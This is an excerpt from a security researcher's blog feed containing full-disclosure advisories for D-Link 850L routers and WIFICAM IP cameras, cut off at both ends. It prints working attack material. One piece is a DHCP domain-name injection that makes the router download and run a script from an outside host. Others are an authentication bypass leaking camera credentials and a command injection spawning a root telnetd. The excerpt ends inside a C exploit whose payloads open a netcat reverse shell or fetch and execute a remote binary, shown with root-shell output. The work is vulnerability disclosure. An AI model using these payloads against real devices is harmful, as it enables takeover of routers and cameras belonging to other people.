111                         ' "DOMAIN=$domain"'.
112                         ' "ROUTER=$router"'.
113                         ' "DNS='.$dns.'$dns"'.
114                         ' "CLSSTROUT=$clsstrout"'.
115                         ' "MSCLSSTROUT=$msclsstrout"'.
116                         ' "SSTROUT=$sstrout"'.
117                         ' "SCOPE=$scope"'.
118                         ' "WINSTYPE=$winstype"'.
119                         ' "WINS=$wins"'.
120                         ' "SIXRDPFX=$sixrd_prefix"'.
121                         ' "SIXRDPLEN=$sixrd_prefixlen"'.
122                         ' "SIXRDMSKLEN=$sixrd_msklen"'.
123                         ' "SIXRDBRIP=$sixrd_bripaddr"'.
124                         ' "SDEST=$sdest"'.
125                         ' "SSUBNET=$ssubnet"'.
126                         ' "SROUTER=$srouter"\n'.
127                 'exit 0\n'
128                 );
</code></pre>
<p>As you can see, variables are not sanitized. One solution is also to inject commands using the <code>/var/servd/$VAR-udhcpc.sh</code> script with <code>$domain</code> (<code>option domain-name</code> in isc-dhcp).</p>
<p>The <code>WAN-1-udhcpc.sh</code> file will be generated and called by <code>udhcpc</code> (<code>udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s /var/servd/WAN-1-udhcpc.sh</code>)</p>
<pre><code># cat WAN-1-udhcpc.sh
#!/bin/sh
echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... &gt; /dev/console
phpsh /etc/services/INET/inet4_dhcpc_helper.php ACTION=$1 INF=WAN-1 INET=INET-3 MTU=1500 INTERFACE=$interface IP=$ip SUBNET=$subnet BROADCAST=$broadcast LEASE=$lease "DOMAIN=$domain" "ROUTER=$router" "DNS=$dns" "CLSSTROUT=$clsstrout" "MSCLSSTROUT=$msclsstrout" "SSTROUT=$sstrout" "SCOPE=$scope" "WINSTYPE=$winstype" "WINS=$wins" "SIXRDPFX=$sixrd_prefix" "SIXRDPLEN=$sixrd_prefixlen" "SIXRDMSKLEN=$sixrd_msklen" "SIXRDBRIP=$sixrd_bripaddr" "SDEST=$sdest" "SSUBNET=$ssubnet" "SROUTER=$srouter"
exit 0
</code></pre>
<p>So using this DNS configuration will work against the router:</p>
<pre><code>option domain-name "`wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;`";
</code></pre>
<p>In the logs, we confirm the execution:</p>
<pre><code>rasp-pwn-dlink# tail -f /var/log/nginx/access.log
10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
</code></pre>
<p>Note that you also have command injections inside some generated files (in <code>/var/servd/</code>) using the <code>;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;</code> payload:</p>
<pre><code># cat /var/servd/DHCPS4.LAN-1_start.sh
#!/bin/sh
rm -f /var/servd/LAN-1-udhcpd.lease
xmldbc -X /runtime/inf:1/dhcps4/leases
xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100
xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199
xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1
xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; &lt;--- command injection
xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1
event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease"
udhcpd /var/servd/LAN-1-udhcpd.conf &amp;
exit 0
exit 0
#

# cat /var/servd/DHCPS4.LAN-2_start.sh
#!/bin/sh
rm -f /var/servd/LAN-2-udhcpd.lease
xmldbc -X /runtime/inf:2/dhcps4/leases
xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100
xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199
xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1
xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; &lt;--- command injection
xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1
event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease"
udhcpd /var/servd/LAN-2-udhcpd.conf &amp;
exit 0
exit 0
#
</code></pre>
<p><strong>Bonus point:</strong> this attack will be relayed to internal clients using the dhcp server running inside the router.
So if you connect a vulnerable Dlink router to the internal network, it will be pwned too:</p>
<pre><code># ps -w|grep dhcpd
 6543 root       984 S    udhcpd /var/servd/LAN-1-udhcpd.conf 
 6595 root       984 S    udhcpd /var/servd/LAN-2-udhcpd.conf
</code></pre>
<p>The <code>/runtime/inf:{1,2}/dhcps4/pool/domain</code> entries in the <code>/var/servd/LAN-{1,2}-udhcpd.conf</code> files contain the rogue domain value:</p>
<pre><code># cat /var/servd/LAN-1-udhcpd.conf
remaining no
start 192.168.0.100
end 192.168.0.199
interface br0
lease_file /var/servd/LAN-1-udhcpd.lease
pidfile /var/servd/LAN-1-udhcpd.pid
force_bcast no
opt subnet 255.255.255.0
opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;

^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN,
             possibly infecting other dlink routers \o/

opt router 192.168.0.1
opt dns 192.168.0.1
opt lease 604800
dhcp_helper event UPDATELEASES.LAN-1
# cat /var/servd/LAN-2-udhcpd.conf
remaining no
start 192.168.7.100
end 192.168.7.199
interface br1
lease_file /var/servd/LAN-2-udhcpd.lease
pidfile /var/servd/LAN-2-udhcpd.pid
force_bcast no
opt subnet 255.255.255.0
opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re

^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN,
             possibly infecting other dlink routers \o/

opt router 192.168.7.1
opt dns 192.168.7.1
opt lease 604800
dhcp_helper event UPDATELEASES.LAN-2
#
</code></pre>
<p><a id="dos"></a></p>
<h2>Details - LAN - revA and revB - DoS against some daemons</h2>
<p>It appears some daemons running in the routers (revA and revB) can be crashed remotely from the LAN.
As it doesn't provide further remote privileges to an attacker, this is only for information and was not detailed.</p>
<h2>Vendor Response</h2>
<p>Due to <a href="http://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html">difficulties in previous exchange with Dlink</a>, <strong>Full-disclosure is applied</strong>.
Their previous lack of consideration about security made me publish this research without coordinated disclosure.</p>
<p><strong>I advise to IMMEDIATELY DISCONNECT vulnerable routers from the Internet.</strong></p>
<h2>Report Timeline</h2>
<ul>
<li>Jun 15, 2017: Vulnerabilities found.</li>
<li>Jul 03, 2017: This advisory is written.</li>
<li>Sep 08, 2017: A public advisory is sent to security mailing lists.</li>
<li>Sep 13, 2017: MITRE provides CVE-2017-14413, CVE-2017-14414, CVE-2017-14415, CVE-2017-14416, CVE-2017-14417, CVE-2017-14418, CVE-2017-14419, CVE-2017-14420, CVE-2017-14421, CVE-2017-14422, CVE-2017-14423, CVE-2017-14424, CVE-2017-14425, CVE-2017-14426, CVE-2017-14427, CVE-2017-14428, CVE-2017-14429, CVE-2017-14430.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>Greetings</h2>
<p>Big thanks to Alexandre Torres.</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html">https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2017-dlink-0x00-dlink-850l-cloud.txt">https://pierrekim.github.io/advisories/2017-dlink-0x00-dlink-850l-cloud.txt</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Zer0con slides - Owning embedded devices and network protocols</title>
        <link href="2017-09-07-zer0con-2017-slides.html"/>
        <content type="html"><p>My presentation slides about <b>Owning embedded devices and network protocols</b> at Zer0con in April 2017, are finally online! Some parts had to be redacted. It appears a lot of 0day vulnerabilities have not been patched yet.</p>
<p><a href="https://pierrekim.github.io/advisories/z0-Owning_embedded_devices_and_network_protocols-redacted.pdf">You can fetch the slides here</a>.</p>
<p><b>Update about the last slide:</b> KT, a Korean ISP, was present during the zer0con presentation and provided patches against security problems I had reported.</p>
<p>This research is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities found in Wireless IP Camera (P2P) WIFICAM cameras and vulnerabilities in custom http server</title>
        <link href="2017-03-08-camera-goahead-0day.html"/>
        <content type="html"><p><strong>TL;DR: by analysing the security of a camera, I found a pre-auth RCE as root against 1250 camera models. Shodan lists 185 000 vulnerable cameras. The "Cloud" protocol establishes clear-text UDP tunnels (in order to bypass NAT and firewalls) between an attacker and cameras by using only the serial number of the targeted camera. Then, the attacker can automaticaly bruteforce the credentials of cameras.</strong></p>
<h2>Product Description</h2>
<p>The Wireless IP Camera (P2P) WIFICAM is a Chinese web camera which allows to stream remotely. </p>
<p><img alt="" src="images/2017-icam.jpg" /></p>
<h2>Vulnerabilities Summary</h2>
<p>The Wireless IP Camera (P2) WIFICAM is a camera overall badly designed with a lot of vulnerabilities.
This camera is very similar to a lot of other Chinese cameras.</p>
<p>It seems that a generic camera is being sold by a Chinese company in bulk (OEM) and
the buyer companies resell them with custom software development and specific branding. Wireless IP Camera (P2) WIFICAM is one of the branded cameras.</p>
<p>So, cameras are sold under different names, brands and functions. The HTTP
interface is different for each vendor but shares the same vulnerabilities.
The OEM vendors used a custom version of GoAhead and added vulnerable code inside.</p>
<p>GoAhead stated that GoAhead itself is not affected by the vulnerabilities but the OEM vendor who did the custom and 
specific development around GoAhead is responsible for the cause of vulnerabilities.</p>
<p>Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE),
<strong>which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability</strong>.</p>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#backdoor-account">CVE-2017-8224 - Backdoor account</a></li>
<li><a href="#rsa-lulz">CVE-2017-8222 - RSA key and certificates</a></li>
<li><a href="#pre-auth-info-leak-goahead">CVE-2017-8225 - Pre-Auth Info Leak (credentials) within the custom http server</a></li>
<li><a href="#root-rce">Authenticated RCE as root</a></li>
<li><a href="#pre-auth-root-rce">Pre-Auth RCE as root</a></li>
<li><a href="#open-streaming">CVE-2017-8223 - Misc - Streaming without authentication</a></li>
<li><a href="#cloud">CVE-2017-8221 - Misc - "Cloud" (Aka Botnet)</a></li>
</ol>
<p><strong>The vulnerabilities in the Cloud management affect a lot of P2P or "Cloud" cameras.</strong></p>
<p><strong>My tests have shown that the InfoLeak affecting the custom http server running on the camera affects at least 1250+ camera models. It can be used to execute the RCE as root.
Thus, these cameras are likely affected by a pre-auth RCE as root:</strong></p>
<pre><code>Update (Mar 16, 2017): Following the strong requests from a specific vendor,
the complete list of 1250 affected camera models has been removed.
</code></pre>
<p><a href="https://www.shodan.io/search?query=GoAhead+5ccc069c403ebaf9f0171e9517f40e41">Shodan lists 185 000 vulnerable cameras</a>.</p>
<p><a id="backdoor-account"></a></p>
<h2>Details - CVE-2017-8224 - Backdoor account</h2>
<p>By default, telnetd is running on the camera.</p>
<pre><code>user@kali$ telnet 192.168.1.107
Trying 192.168.1.107...
Connected to 192.168.1.107.
Escape character is '^]'.

apk-link login: admin
Password:

telnet&gt; q
Connection closed.
user@kali$
</code></pre>
<p>One backdoor account exists in the camera:</p>
<pre><code>root:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0:0:0::/root:/bin/sh
</code></pre>
<p><a id="rsa-lulz"></a></p>
<h2>Details - CVE-2017-8222 - RSA key and certificates</h2>
<p>The <code>/system/www/pem/ck.pem</code> contains an Apple certificate with a private RSA key:</p>
<pre><code>/ # cat /system/www/pem/ck.pem 
Bag Attributes
    friendlyName: Apple Production IOS Push Services: com.app.camera
    localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D 
subject=/UID=com.app.camera/CN=Apple Production IOS Push Services: com.app.camera/OU=SQ6NNPBE2K/C=US
issuer=/C=US/O=Apple Inc./OU=Apple Worldwide Developer Relations/CN=Apple Worldwide Developer Relations Certification Authority
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
Bag Attributes
    friendlyName: andrew
    localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D 
Key Attributes: &lt;No Attributes&gt;
-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
</code></pre>
<p><a id="pre-auth-info-leak-goahead"></a></p>
<h2>Details - CVE-2017-8225 - Pre-Auth Info Leak (credentials) within the custom http server</h2>
<p>The HTTP interface is provided by a custom http server. This HTTP server is in fact based on GoAhead and
was modified by the OEM vendor of the cameras (which resulted in the listed vulnerabilities).
It allows 2 kinds of authentication:</p>
<ul>
<li>htdigest authentication OR</li>
<li>authentication using credentials in URI (<code>?loginuse=LOGIN&amp;?loginpas=PASS</code>).</li>
</ul>
<p>By default, the web directory contains symbolic links to configuration files (<code>system.ini</code> and <code>system-b.ini</code> contain credentials):</p>
<pre><code>/tmp/web # ls -la *ini
lrwxrwxrwx    1 root     0               25 Oct 27 02:11 factory.ini -&gt; /system/param/factory.ini
lrwxrwxrwx    1 root     0               30 Oct 27 02:11 factoryparam.ini -&gt; /system/param/factoryparam.ini
lrwxrwxrwx    1 root     0               23 Oct 27 02:11 network-b.ini -&gt; /system/www/network.ini
lrwxrwxrwx    1 root     0               23 Oct 27 02:11 network.ini -&gt; /system/www/network.ini
lrwxrwxrwx    1 root     0               22 Oct 27 02:11 system-b.ini -&gt; /system/www/system.ini
lrwxrwxrwx    1 root     0               22 Oct 27 02:11 system.ini -&gt; /system/www/system.ini
/tmp/web #
</code></pre>
<p>With valid credentials, an attacker can retrieve the configuration, as shown below:</p>
<pre><code>user@kali$ wget -qO- 'http://admin:admin@192.168.1.107/system.ini'|xxd

[...]
000001d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
000001f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000200: ffff ffff ffff ffff ffff ffff ffff ffff  ................
00000210: ffff ffff ffff ffff ffff ffff 7b6f 1158  ............{o.X
00000220: 0000 0000 0100 0000 7469 6d65 2e6e 6973  ........time.nis
00000230: 742e 676f 7600 0000 0000 0000 0000 0000  t.gov...........
00000240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000250: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000260: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000270: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000280: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000290: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000002a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000002b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000002c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
[...]
00000640: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000650: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000660: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000670: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000680: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........
000006a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........
000006c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000006d0: 030a 0a0f 8000 0000 0101 0003 0002 0000  ................
[...]
user@kali$
</code></pre>
<p>To browse <code>.cgi</code> files, an attacker needs to authenticate too:</p>
<pre><code>user@kali$ wget -qO- 'http://192.168.1.107/get_params.cgi?loginuse=BAD_LOGIN&amp;loginpas=BAD_PASS'
var result="Auth Failed";
user@kali$ wget -qO- 'http://192.168.1.107/get_params.cgi?loginuse&amp;loginpas'
var result="Auth Failed";
</code></pre>
<p>But it appears access to <code>.ini</code> files are not correctly checked. The attacker can bypass the authentication
by providing an empty <code>loginuse</code> and an empty <code>loginpas</code> in the URI:</p>
<pre><code>user@kali$ wget -qO- 'http://192.168.1.107/system.ini?loginuse&amp;loginpas'|xxd|less
00000000: 5749 4649 4341 4d00 0000 0000 0000 0000  WIFICAM.........
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0100 0000 0000 0000 0000 0000 0000  ................
[...]
00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........
000006a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........
[...]
</code></pre>
<p>A PoC is provided:</p>
<pre><code>./expl 192.168.1.107 --get-config | xxd | grep 000003

00000030: 6d53 6563 0a0a 5b2b 5d20 6279 7061 7373  mSec..[+] bypass
00000300: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000310: 0000 0000 0000 0000 0000 0000 0a0a 0a0a  ................
00000320: 0100 0000 0a03 0100 0000 0000 0000 0000  ................
00000330: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000340: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000350: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000360: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000370: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000380: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000390: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000003a0: 0000 0000 0000 0000 0000 6164 6d69 6e00  ..........admin.
000003b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000003c0: 0000 0000 0000 0000 0000 6164 6d69 6e00  ..........admin.
000003d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000003e0: 0000 0000 0000 0000 0000 030a 0a0f 8000  ................
000003f0: 0000 0101 0003 0002 0000 0080 8080 8001  ................
</code></pre>
<p>This vulnerability allows an attacker to steal credentials, ftp accounts and smtp accounts (email).</p>
<p><a id="root-rce"></a></p>
<h2>Details - Authenticated RCE as root</h2>
<p>A RCE exists in the ftp configuration CGI. This is well-documented as shown <a href="https://jumpespjump.blogspot.de/2015/09/how-i-hacked-my-ip-camera-and-found.html">here</a> and <a href="https://www.pentestpartners.com/blog/hacking-the-aldi-ip-cctv-camera-part-2/">here</a> in several different camera models.</p>
<p>The partition <code>/</code> is mounted in Read-Only, so modifications are not possible in this partition.</p>
<p>The command injection is located in in <code>set_ftp.cgi</code> (see <code>$(ftp x.com)</code>):</p>
<pre><code>http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&amp;loginuse=admin&amp;loginpas=admin&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=$(ftp x.com)ftp&amp;dir=/&amp;mode=PORT&amp;upload_interval=0
http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&amp;loginuse=admin&amp;loginpas=admin
</code></pre>
<p>When doing a tcpdump, we can see the DNS resolution for x.com:</p>
<pre><code>00:00:00.151107 IP 192.168.1.107.33551 &gt; 8.8.8.8.53: 40888+ A? x.com. (23)
</code></pre>
<p>so, <code>ftp x.com</code> is executed.</p>
<p>We can use the telnetd binary to start an authenticated-less telnetd access:</p>
<pre><code>user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&amp;loginuse=admin&amp;loginpas=admin&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=$(telnetd -p25 -l/bin/sh)&amp;dir=/&amp;mode=PORT&amp;upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&amp;loginuse=admin&amp;loginpas=admin'
</code></pre>
<p>Testing this will give us root account on port 25/tcp:</p>
<pre><code>user@kali$ telnet 192.168.1.107 25
Trying 192.168.1.107...
Connected to 192.168.1.107.
Escape character is '^]'.

/ # id
uid=0(root) gid=0
/ # uname -ap
Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux
/ # mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
/proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime,size=2048k)
tmpfs on /tmp type tmpfs (rw,relatime,size=5120k)
devpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)
/dev/mtdblock3 on /system type jffs2 (rw,relatime)
/ #
</code></pre>
<p><code>/etc</code> is in read-only. So, command injection must not write into <code>/etc</code>. The injection is located in <code>/tmp/ftpupload.sh</code>:</p>
<pre><code>/ # cat /tmp/ftpupload.sh 
/bin/ftp -n&lt;&lt;!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #
</code></pre>
<p><a id="pre-auth-root-rce"></a></p>
<h2>Details - Pre-Auth RCE as root</h2>
<p>By combining the Pre-Auth Info Leak within the custom http server vulnerability and then authenticated RCE as root, an attacker can achieve a pre-auth RCE as root on a LAN or on the Internet.</p>
<p>An exploit is provided and can be used to get a root RCE with connect-back.</p>
<p>The exploit will:</p>
<ol>
<li>extract the valid credentials by connecting to the remote custom HTTP server of the targeted camera</li>
<li>plant a connect-back with <code>nc</code></li>
<li>execute the payload</li>
<li>the attacker will receive a root shell with netcat on a second terminal</li>
<li>clean the payload located in the configuration file</li>
</ol>
<p>It affects 1250+ camera models.</p>
<p>Demo:</p>
<pre><code>user@kali$ gcc -Wall -o expl expl-goahead-camera.c &amp;&amp; ./expl 192.168.1.107                               
Camera 0day root RCE with connect-back @PierreKimSec

Please run `nc -vlp 1337` on 192.168.1.1

[+] bypassing auth ... done
    login = admin
    pass  = admin
[+] planting payload ... done
[+] executing payload ... done
[+] cleaning payload ... done
[+] cleaning payload ... done
[+] enjoy your root shell on 192.168.1.1:1337
user@kali$
</code></pre>
<p>On the second xterm:</p>
<pre><code>user@kali$ nc -lvp 1337
listening on [any] 1337 ...
192.168.1.107: inverse host lookup failed: Unknown host
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.107] 47968
id
uid=0(root) gid=0
uname -ap
Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux
ps  
PID   USER     TIME   COMMAND
    1 root       0:01 {linuxrc} init
    2 root       0:00 [kthreadd]
    3 root       0:00 [ksoftirqd/0]
    5 root       0:00 [kworker/0:0H]
    6 root       0:00 [kworker/u2:0]
    7 root       0:00 [rcu_preempt]
    8 root       0:00 [rcu_bh]
    9 root       0:00 [rcu_sched]
   10 root       0:00 [watchdog/0]
   11 root       0:00 [khelper]
   12 root       0:00 [writeback]
   13 root       0:00 [bioset]
   14 root       0:00 [kblockd]
   15 root       0:00 [khubd]
   16 root       0:00 [kworker/0:1]
   17 root       0:00 [cfg80211]
   18 root       0:00 [rpciod]
   19 root       0:00 [kswapd0]
   20 root       0:00 [fsnotify_mark]
   21 root       0:00 [nfsiod]
   22 root       0:00 [crypto]
   36 root       0:00 [kworker/u2:1]
   39 root       0:00 [i2s_work_1]
   40 root       0:00 [i2s_codec_irq_w]
   41 root       0:00 [kworker/0:2]
   42 root       0:00 [deferwq]
   43 root       0:00 [kworker/0:1H]
   59 root       0:00 [jffs2_gcd_mtd3]
   61 root       0:00 telnetd
   69 root       0:00 /system/system/bin/wifidaemon
   70 root       0:00 /sbin/getty -L ttyS1 115200 vt100
   98 root       0:01 [RtmpTimerTask]
   99 root       0:00 [RtmpMlmeTask]
  100 root       0:00 [RtmpCmdQTask]
  101 root       0:00 [RtmpWscTask]
  148 root       1:19 /tmp/encoder
  164 root       0:00 [irq/37-isp]
  236 root       0:07 [apical_isp_fw_p]
 2330 root       0:00 sh -c /tmp/ftpupload.sh &gt; /tmp/ftpret.txt
 2331 root       0:00 {exe} ash /tmp/ftpupload.sh
 2332 root       0:00 {exe} ash /tmp/ftpupload.sh
 2333 root       0:00 /bin/ftp -n
 2334 root       0:00 /bin/sh
 2439 root       0:00 ps
</code></pre>
<p>A working exploit is provided:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> 
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdio.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;string.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdlib.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;unistd.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;arpa/inet.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;netinet/in.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;sys/types.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;sys/socket.h&gt;</span><span style="color: #BC7A00"></span>

<span style="color: #BC7A00">#define CAM_PORT 80</span>
<span style="color: #BC7A00">#define REMOTE_HOST &quot;192.168.1.1&quot;</span>
<span style="color: #BC7A00">#define REMOTE_PORT &quot;1337&quot;</span>
<span style="color: #BC7A00">#define PAYLOAD_0 &quot;GET /set_ftp.cgi?next_url=ftp.htm&amp;loginuse=%s&amp;loginpas=%s&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=$(nc%20&quot; REMOTE_HOST &quot;+&quot; REMOTE_PORT &quot;%20-e/bin/sh)&amp;dir=/&amp;mode=PORT&amp;upload_interval=0\r\n\r\n&quot;</span>
<span style="color: #BC7A00">#define PAYLOAD_1 &quot;GET /ftptest.cgi?next_url=test_ftp.htm&amp;loginuse=%s&amp;loginpas=%s\r\n\r\n&quot;</span>
<span style="color: #BC7A00">#define PAYLOAD_2 &quot;GET /set_ftp.cgi?next_url=ftp.htm&amp;loginuse=%s&amp;loginpas=%s&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=passpasspasspasspasspasspasspasspass&amp;dir=/&amp;mode=PORT&amp;upload_interval=0\r\n\r\n&quot;</span>


<span style="color: #BC7A00">#define ALTERNATIVE_PAYLOAD_zero0 &quot;GET /set_ftp.cgi?next_url=ftp.htm&amp;loginuse=%s&amp;loginpas=%s&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=$(nc+&quot; REMOTE_HOST &quot;+&quot; REMOTE_PORT &quot;+-e/bin/sh)&amp;dir=/&amp;mode=PORT&amp;upload_interval=0\r\n\r\n&quot;</span>
<span style="color: #BC7A00">#define ALTERNATIVE_PAYLOAD_zero1 &quot;GET /set_ftp.cgi?next_url=ftp.htm&amp;loginuse=%s&amp;loginpas=%s&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=$(wget+http:</span><span style="color: #408080; font-style: italic">//&quot; REMOTE_HOST &quot;/stufz&amp;&amp;./stuff)&amp;dir=/&amp;mode=PORT&amp;upload_interval=0\r\n\r\n&quot;</span>

<span style="color: #B00040">char</span> <span style="color: #666666">*</span>    <span style="color: #0000FF">creds</span>(<span style="color: #B00040">char</span>  <span style="color: #666666">*</span>argv,
                <span style="color: #B00040">int</span>   get_config);

<span style="color: #B00040">int</span>       <span style="color: #0000FF">rce</span>(<span style="color: #B00040">char</span>    <span style="color: #666666">*</span>argv,
              <span style="color: #B00040">char</span>    <span style="color: #666666">*</span>id,
              <span style="color: #B00040">char</span>    attack[],
              <span style="color: #B00040">char</span>    desc[]);


<span style="color: #B00040">int</span>   <span style="color: #0000FF">main</span>(<span style="color: #B00040">int</span>        argc,
           <span style="color: #B00040">char</span>       <span style="color: #666666">**</span>argv,
           <span style="color: #B00040">char</span>       <span style="color: #666666">**</span>envp)
{
  <span style="color: #B00040">char</span>                <span style="color: #666666">*</span>id;

  printf(<span style="color: #BA2121">&quot;Camera 0day root RCE with connect-back @PierreKimSec</span><span style="color: #BB6622; font-weight: bold">\n\n</span><span style="color: #BA2121">&quot;</span>);

  <span style="color: #008000; font-weight: bold">if</span> (argc <span style="color: #666666">&lt;</span> <span style="color: #666666">2</span>)
  {
